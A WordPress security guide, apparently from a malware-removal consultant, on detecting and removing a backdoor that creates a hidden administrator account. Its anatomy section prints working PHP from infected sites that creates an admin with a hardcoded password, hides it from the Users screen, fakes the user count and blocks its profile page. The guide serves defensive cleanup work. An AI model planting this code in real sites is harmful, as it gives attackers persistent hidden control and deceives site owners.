WordPress Hidden Admin User: How to Detect and Remove It Permanently (Real Code, Real Cleanup)

If you suspect a hidden admin user on your WordPress site — maybe your dashboard says “All Users (1)” but a security plugin counter shows “2”, maybe your malware keeps coming back after cleanup, or maybe new admin accounts you didn’t create keep appearing — you’re dealing with one of the most sophisticated WordPress backdoors in active circulation. The malware creates an invisible administrator account, hides it from your Users screen using WordPress’s own filter hooks, and recreates the account every time you delete it. The fix is to first find and remove the malicious code (typically in functions.php, mu-plugins/, or a fake plugin folder) — only then can you delete the rogue user safely. Skip step one and the user comes back within seconds.

---

The Moment You Realize Something’s Wrong

There’s a specific moment that brings WordPress site owners into my inbox more than any other backdoor symptom: they’re looking at their Users page in the WordPress dashboard, and the numbers don’t add up.

Maybe their “All Users” count says (1) — just them, the legitimate admin. But somewhere else on the same page, a third-party plugin counter shows something different. A 2FA plugin says 2 Inactive. An activity log shows recent logins from a username they don’t recognize. Wordfence reports more administrators than the dashboard shows.

The math doesn’t work. And that math discrepancy is the single most reliable indicator of a hidden admin user backdoor — one of the most dangerous and persistent malware families currently affecting WordPress.

In the past 18 months, I’ve found this exact attack pattern on hundreds of WordPress sites — including high-traffic e-commerce stores, business sites, and membership platforms. The malware is sophisticated, the attack is persistent, and it’s the single most common reason “cleaned” WordPress sites get reinfected within days.

This guide walks through exactly how the attack works, how to spot it, how to verify it, and most importantly — how to remove it without it coming straight back. Real code samples from real cleanups. No theory.

If you’re confident your site is compromised and you need urgent help, my WordPress malware removal service handles exactly this attack class.

---

Why Hidden Admin Users Are More Dangerous Than Visible Malware

A visible malware file gets noticed and cleaned. A hidden administrator gets kept. That distinction is the entire point of the attack.

When attackers maintain hidden admin access, they can:

• Maintain persistence even after thorough file cleanup. You delete the visible malware. They log back in with their hidden account and reinfect the site within minutes.
• Avoid triggering the original entry-point vulnerability again. The attacker doesn’t need to re-exploit a plugin or guess a password. They walk in through the front door using their stealth admin account.
• Install plugins, edit theme files, create more users, plant more backdoors. An admin account has unlimited capability inside WordPress.
• Stay invisible while you watch. The dashboard looks normal. The site loads correctly. Nothing visibly wrong — until the next infection.
• Coordinate with other malware. Hidden admin users are usually one component in a larger compromise — typically paired with backdoor PHP files, modified core files, scheduled cron jobs, or database injections.

This is why I treat any hidden admin discovery as a major incident, not a minor cleanup. Where there’s one stealth admin, there’s almost always more infection underneath.

---

The Anatomy of the Attack: How the Malware Actually Works

Modern hidden admin malware uses five interconnected techniques. Understanding each one is what lets you detect and remove it properly.

1. The Malware Creates an Administrator Account

This is the simplest part. The malicious code uses WordPress’s own legitimate user-creation function (wp_insert_user or wp_create_user) to create a new admin. From WordPress’s perspective, this is a normal API call — there’s nothing inherently malicious about it.

Here’s actual code I’ve extracted from infected sites — this is the adminbackup variant that’s currently the most common:

$params = array(
    'user_login' => 'adminbackup',
    'user_pass'  => 'o8Qcdaevd9',                    // Hardcoded password
    'role'       => 'administrator',
    'user_email' => 'adminbackup@wordpress.org'
);

if (!username_exists($params['user_login'])) {
    $id = wp_insert_user($params);
    update_option('_pre_user_id', $id);              // Save the ID for later hiding
}

The pattern is universal across variants:

• Check if the rogue user already exists
• If not, create it with administrator role and a hardcoded password
• Save the new user’s ID in wp_options (typically as _pre_user_id) so the malware can reference it later

The username changes between variants. The most common ones I see:

• adminbackup (extremely common in 2025–2026)
• adm1nlxg1n — note the “1” instead of “i” and “g1n” instead of “gin”
• support_user
• sys_maint_service
• help
• codepapa
• fallback_admin
• wp_updater

2. The Malware Hides the User From Your Dashboard

This is the clever part — the part that makes the attack so hard to detect by visual inspection. The malware hooks into WordPress’s pre_user_query filter and modifies the database query before the dashboard runs it:

add_action('pre_user_query', function($user_search) {
    $user_id = get_current_user_id();
    $id = get_option('_pre_user_id');                // The ID of the malicious user

    global $wpdb;
    // Inject SQL to exclude the malicious ID from results
    $user_search->query_where = str_replace(
        'WHERE 1=1',
        "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
        $user_search->query_where
    );
});

In plain English: the code tells the database “show me all users except the one with this specific ID.” The rogue admin still exists in wp_users. The dashboard just refuses to display the row.

That’s why the user appears invisible — and why you can’t find them through any normal WordPress interface, no matter how carefully you look.

3. The Malware Fakes the User Count

If the dashboard hid the rogue user but the count at the top still said “All (2)” instead of “All (1)”, the trick would be obvious. So the malware also modifies the count display:

function fake_user_count($views) {
    $html = explode('<span class="count">(', $views['all']);
    $count = explode(')</span>', $html[1]);
    $count[0]--;                                     // Subtract 1 from the displayed count
    $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];
    return $views;
}
add_filter('views_users', 'fake_user_count');

The count gets mathematically reduced by 1 across the standard WordPress views (All, Administrator, etc.) so the math looks consistent. This is also where the malware makes its critical mistake — and how you can catch it.

4. The Mistake: Third-Party Plugin Counts

The attacker hardcodes the count-faking logic for WordPress’s built-in views — “All”, “Administrator”, “Editor”, etc. They don’t account for views added by third-party plugins.

So when a 2FA plugin adds its own “2FA Active” and “2FA Inactive” filter, the malware doesn’t know to subtract 1 from those counts. The result:

• “All Users (1)” — faked count, hides the rogue admin ✓
• “Administrator (1)” — faked count, hides the rogue admin ✓
• “2FA Inactive (2)” — real count, exposes the rogue admin ✗

This is why a 2FA plugin, an activity log plugin, or a security scanner often catches what WordPress’s own dashboard hides. If your numbers don’t match across different plugin counters, investigate immediately.

5. The Malware Protects Itself From Cleanup

The fifth technique is what makes deletion attempts fail. The malware also blocks direct access to the rogue user’s profile:

if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) {
    wp_die(__('Invalid user ID.'));
}

If a savvy admin guesses the ID and tries to navigate directly to the user’s profile (e.g., user-edit.php?user_id=123), they get an “Invalid user ID” error. The malware also blocks deletion attempts and resets the password if it gets changed.

And the kicker: even if you somehow do delete the user, the creation logic from step 1 runs again on the next page load and recreates the account immediately.

---

Where the Malicious Code Hides

In real client cleanups, I find this code in five recurring locations. Knowing where to look is half the battle.

1. Theme functions.php

The most common location. functions.php runs on every page load, which gives the malware unlimited opportunities to recreate the user. Attackers append the malicious code to the end of the file or scatter it among legitimate theme code.

How to check: Open wp-content/themes/your-active-theme/functions.php via FTP or File Manager. Look for any code referencing wp_insert_user, wp_create_user, pre_user_query, views_users, or hardcoded usernames like the ones listed above.

2. wp-content/mu-plugins/

The “must-use” plugins folder. Files here are loaded automatically by WordPress before regular plugins, and they don’t appear in the standard Plugins list — making this folder a favorite hiding spot.

A clean WordPress installation does not have files in mu-plugins/ unless you or a developer deliberately put them there. Anything in this folder that you don’t recognize is suspicious by default.

3. Fake Plugin Folders

Attackers create fake plugin folders with names that sound technical and important. Recent examples I’ve found in real cleanups:

• wp-compat (“WP Compatibility Patch”)
• CacheFusion
• CDNConnect
• OperationGraph
• DebugMaster
• WP System Health Check
• NexusGrid Performance Loader
• Advanced Server Response Handler

These plugin names sound like infrastructure components site owners are afraid to delete. That fear is exactly what the attacker is exploiting. None of these are real plugins.

How to check: Open wp-content/plugins/ via FTP and review every folder. If a folder looks unfamiliar, hasn’t been updated through the WordPress admin, or has a recent “Last Modified” date when other plugins haven’t changed, treat it as suspicious. You’ll often see this in your plugin list as a plugin you don’t remember installing — but advanced variants also hide themselves from the plugin list using the all_plugins filter, so don’t trust the dashboard alone.

4. Disguised Core Files

Some attackers plant the backdoor as a fake WordPress core file. Names I’ve found in cleanups:

• wp-user.php at the site root (real WordPress doesn’t have this file)
• wp-l0gin.php — zero instead of “o”
• wp-the1me.php — “1” instead of “i”
• wp-scr1pts.php
• lock360.php

How to check: Compare your WordPress core directory to a fresh download from WordPress.org. Anything in the root, wp-admin/, or wp-includes/ that doesn’t exist in the official version is suspicious.

5. Database-Injected Code

The most sophisticated variants store the malicious code as serialized PHP inside the WordPress database (typically in wp_options) and use a small loader file to retrieve and execute it on each request. This makes file-level cleanup particularly hard because removing the loader doesn’t remove the payload, and removing the payload from the database doesn’t help if the loader keeps regenerating it.

For a deeper look at database-side malware, see how to scan and clean your WordPress database for hidden malware.

---

How to Detect Hidden Admin Users (4 Methods, Most Reliable First)

Don’t trust the WordPress dashboard alone if you suspect this attack. Use multiple detection methods.

Method 1: Check the Database Directly (Most Reliable)

This is the gold standard. Open phpMyAdmin (in your hosting control panel) or another database client, navigate to your WordPress database, and inspect the wp_users table directly:

SELECT ID, user_login, user_email, user_registered
FROM wp_users
ORDER BY user_registered DESC;

The query returns every user that exists in the database, regardless of any WordPress filters. Compare the list against what your dashboard shows. Any account you see in the database but not in the dashboard is a hidden user — almost certainly malicious.

Pay special attention to:

• Usernames you don’t recognize
• Email addresses on suspicious domains (@wordpress.org is a classic — WordPress.org doesn’t actually email users from this domain)
• Recently registered admin accounts that shouldn’t exist
• Accounts with no associated wp_usermeta activity (no posts, no logins recorded by activity plugins)

After spotting a suspicious user, check their role in wp_usermeta:

SELECT * FROM wp_usermeta
WHERE user_id = [SUSPICIOUS_USER_ID]
AND meta_key = 'wp_capabilities';

If the result shows administrator, you’ve confirmed a hidden admin.

Method 2: Check the User Count Discrepancy

This is the fastest way to spot the attack without leaving the WordPress dashboard. Look at multiple counters on your Users page:

• The “All Users” count at the top
• The “Administrator” count
• Any third-party plugin counters (2FA plugins, activity log plugins, security scanners)

If any of those numbers don’t match, you have a hidden user. Trust the third-party plugin counts — they’re harder for the malware to fake.

Method 3: Use WP-CLI

If you have SSH access, WP-CLI commands give you a different view of the user list:

wp user list --role=administrator

Sometimes WP-CLI shows users that the WordPress dashboard hides, because the malware’s filters specifically target the wp-admin display layer. But this isn’t guaranteed — sophisticated malware can sometimes interfere with WP-CLI too. Use it as a diagnostic tool, but treat the database as your source of truth.

Method 4: Check Activity Logs and Login Records

If you have an activity log plugin installed (Simple History, WP Activity Log, etc.), review:

• Recent user creation events
• Recent admin logins from unfamiliar IPs
• Recent role changes

Some activity log plugins record the creation event even if the user is later hidden — giving you a paper trail of when the attack happened and what username was created.

---

How to Remove a Hidden Admin User Safely (The Order Matters)

This is where most DIY cleanups fail. Do not delete the user first. If you delete the user before removing the malicious code, the code recreates them within seconds.

Step 1: Find and Remove the Malicious Code

Before touching the database or the user list, locate every file that contains the malicious code:

1. Open functions.php in your active theme — this is the most common location. Look for the patterns described above (hardcoded usernames, pre_user_query filters, views_users filters, wp_insert_user calls).
2. Check wp-content/mu-plugins/ — delete any file you don’t recognize.
3. Audit wp-content/plugins/ for fake plugin folders with the names listed above (or anything with a recent modification date when other plugins haven’t changed).
4. Compare core files against a fresh WordPress download to find disguised core files.
5. Search the database for serialized backdoor payloads in wp_options.

Remove every malicious file or code block. Don’t move on until you’re confident you’ve found them all — leftover code will recreate the user.

For the broader detection workflow, see how to detect WordPress malware, and for backdoor patterns specifically, the wp-compat plugin backdoor analysis covers a closely related variant.

Step 2: Confirm the User Is Now Visible

Refresh your WordPress Users page. If the malicious code was the only mechanism hiding the user, they should now appear in the list. If they don’t appear, you missed code somewhere — go back to Step 1.

Step 3: Delete the User

Once the user is visible and the malicious code is gone, delete the account:

1. Hover over the rogue user in the WordPress Users list
2. Click “Delete”
3. If prompted, attribute their content to another user (the rogue admin shouldn’t have any content, but WordPress asks anyway)
4. Confirm the deletion

If the dashboard delete doesn’t work, you can delete directly from the database:

DELETE FROM wp_users WHERE ID = [ROGUE_USER_ID];
DELETE FROM wp_usermeta WHERE user_id = [ROGUE_USER_ID];

Step 4: Rotate Credentials and Salts

The attacker had administrator access, which means they could read your wp-config.php, your database credentials, and any cached session data. Treat everything as compromised:

1. Change every WordPress admin password (force password reset for all users)
2. Change your hosting cPanel password
3. Change FTP/SFTP credentials
4. Change your database user password (and update wp-config.php to match)
5. Generate fresh WordPress security keys (salts) at api.wordpress.org/secret-key/1.1/salt/ and replace the corresponding lines in wp-config.php — this invalidates every active session, including any the attacker still has

Step 5: Patch the Original Entry Point

The attacker got in through something. If you don’t fix that, this entire process repeats next month. Common entry points:

• An outdated plugin with a known vulnerability — update everything
• A nulled or pirated plugin/theme that shipped with a backdoor — remove it (see why nulled plugins are a security disaster)
• A stolen or weak admin password — strong unique passwords plus 2FA
• An XSS or SQL injection vulnerability in custom code — audit and fix
• An exposed admin login page — limit login attempts and enable 2FA

For a complete post-cleanup checklist, see what to do after fixing a hacked WordPress site.

---

Why Hidden Admin Users Keep Coming Back After Cleanup

I get this question constantly: “I deleted the user, the code, everything I could find — and it’s back two days later.” When this happens, one of these is true:

• You missed code somewhere. Even one surviving copy of the malicious code recreates the user. Check functions.php, mu-plugins/, every plugin folder, theme files, and disguised core files.
• There’s a backdoor PHP file you haven’t found. A separate file (often in wp-content/uploads/, named to look innocuous) that recreates the malicious code in functions.php when triggered.
• A scheduled cron job is running the regeneration. WordPress cron, server cron, or both. Check wp_options for the cron entry and your hosting cPanel for unfamiliar scheduled tasks.
• The attacker still has a separate admin account. Some attacks plant multiple stealth admins so removing one leaves another. Audit every admin in the database, not just the suspicious one you noticed first.
• The original vulnerability is still open. The attacker simply re-exploits it and recreates the entire infection.

For the full reinfection diagnostic process, see why WordPress malware keeps coming back and how to stop it forever.

---

How This Attack Connects to Bigger Compromises

In my experience, hidden admin users almost never operate alone. They’re typically one component of a larger compromise that also includes:

• Obfuscated backdoor PHP files hidden in uploads or fake plugin folders — see finding a hidden backdoor in a client’s WordPress site
• Modified WordPress core files — particularly wp-config.php, index.php, and files in wp-includes/
• Cron-based persistence recreating the malware every few minutes
• SEO spam injections in the database — Japanese keyword hack, pharma spam, casino spam
• Defacement code — see WordPress homepage defacement case study
• Redirect malware — see JavaScript redirect malware detection guide
• Other fake plugins — see the comprehensive list of known fake malicious WordPress plugins

When you find a hidden admin, treat it as evidence of a broader compromise — not as the whole problem. The cleanup needs to address every layer.

---

FAQ

How do I know if my WordPress site has a hidden admin user?

The fastest signal is a user count discrepancy. If your “All Users” count says 1 but a 2FA plugin, activity log, or security scanner shows 2, you almost certainly have a hidden admin. Other warning signs include malware that keeps coming back after cleanup, unfamiliar admin login emails, sudden site behavior changes, and password resets you didn’t request. The most reliable confirmation is checking wp_users directly via phpMyAdmin.

Can WordPress malware really hide a user from my dashboard?

Yes — and it’s surprisingly straightforward technically. WordPress provides a filter called pre_user_query that lets any plugin (or any malicious code injected into a theme) modify the SQL query used to display users. Malware abuses this by adding AND ID != [hidden_id] to the query, excluding the rogue user from the dashboard while leaving them fully active in the database.

I deleted the hidden admin and it came back. Why?

Because the malicious code that creates the user is still on your server. Most variants check on every page load whether the rogue user exists, and recreate it if it doesn’t. You have to remove the malicious code first (typically in functions.php, mu-plugins/, or a fake plugin folder), then delete the user. Doing them in the wrong order doesn’t work.

What’s the typical username for a hidden admin user?

The most common ones I see in 2025–2026 cleanups are adminbackup, adm1nlxg1n, support_user, sys_maint_service, help, fallback_admin, and codepapa. Variants change frequently, but the pattern is consistent: usernames designed to look administrative or technical, often with subtle character substitutions (zero for “o”, “1” for “i”).

Can security plugins like Wordfence or Sucuri detect this?

Sometimes. Better security plugins detect the malicious code patterns (wp_insert_user with hardcoded credentials, pre_user_query filters that exclude specific IDs). But sophisticated variants use obfuscation, base64 encoding, or split the malicious functions across multiple files specifically to evade pattern-matching scanners. The user count discrepancy method I described above is more reliable than any single scanner.

Where does the malicious code that creates hidden admins usually hide?

In order of frequency: theme functions.php, wp-content/mu-plugins/, fake plugin folders with names like wp-compat, CacheFusion, or CDNConnect, disguised core files with names like wp-user.php or wp-l0gin.php (zero instead of “o”), and serialized payloads in the wp_options database table.

Should I just reinstall WordPress to get rid of this?

Reinstalling WordPress core helps but isn’t sufficient on its own. The malicious code is usually in the theme or a fake plugin, not in core files — so a core reinstall doesn’t touch it. The user accounts are in the database, which a core reinstall doesn’t replace either. A complete cleanup requires: (1) removing the malicious code from wherever it actually lives, (2) deleting the rogue user from the database, (3) reinstalling core/themes/plugins from clean sources, and (4) closing the original entry point.

How long has this attack been around?

The basic pattern (creating a hidden admin via functions.php code) has been documented since at least 2020. The adminbackup variant specifically has been spreading widely since 2024–2025, with Sucuri publishing a major analysis in mid-2025. The attack has evolved over time — adding self-protection logic, count-faking, plugin-list hiding, and database persistence — but the core technique remains the same.

Can I prevent this attack from happening?

Yes. The hardening that actually works: keep WordPress core, plugins, and themes updated; throw away nulled or pirated software; use strong unique passwords with two-factor authentication; disable file editing in wp-config (define('DISALLOW_FILE_EDIT', true);); install a Web Application Firewall; and set up file integrity monitoring that alerts on changes to functions.php. Most hidden admin infections trace back to a vulnerable plugin or a stolen password — close those gaps and the attack class becomes much harder.

---

Related Reading

• WordPress Malware Removal Service
• Why WordPress malware keeps coming back
• How to scan and clean your WordPress database for hidden malware
• The wp-compat plugin: hidden backdoor analysis
• Comprehensive list of known fake and malicious WordPress plugins
• Found suspicious code in functions.php — the ghost admin hack
• Finding a hidden backdoor in a client’s WordPress site
• How to detect WordPress malware
• What to do after fixing a hacked WordPress site
• Why nulled plugins and themes are a security disaster

---

Need Help With a Hidden Admin User on Your WordPress Site?

Hidden admin users are one of the highest-stakes findings in a WordPress security review. They mean an attacker has persistent administrator access — the kind that bypasses every cleanup attempt that doesn’t address the underlying code. In the past 18 months, I’ve found this exact attack pattern on hundreds of WordPress sites, ranging from small business blogs to high-traffic e-commerce stores.

If your dashboard counts don’t match, your malware keeps coming back after cleanup, or you’ve found suspicious accounts like adminbackup in your database, this is exactly the kind of incident I clean every week. I’ve recovered more than 4,500 hacked WordPress sites since 2018.

Get Expert WordPress Malware Removal — or contact me directly via the hire me page.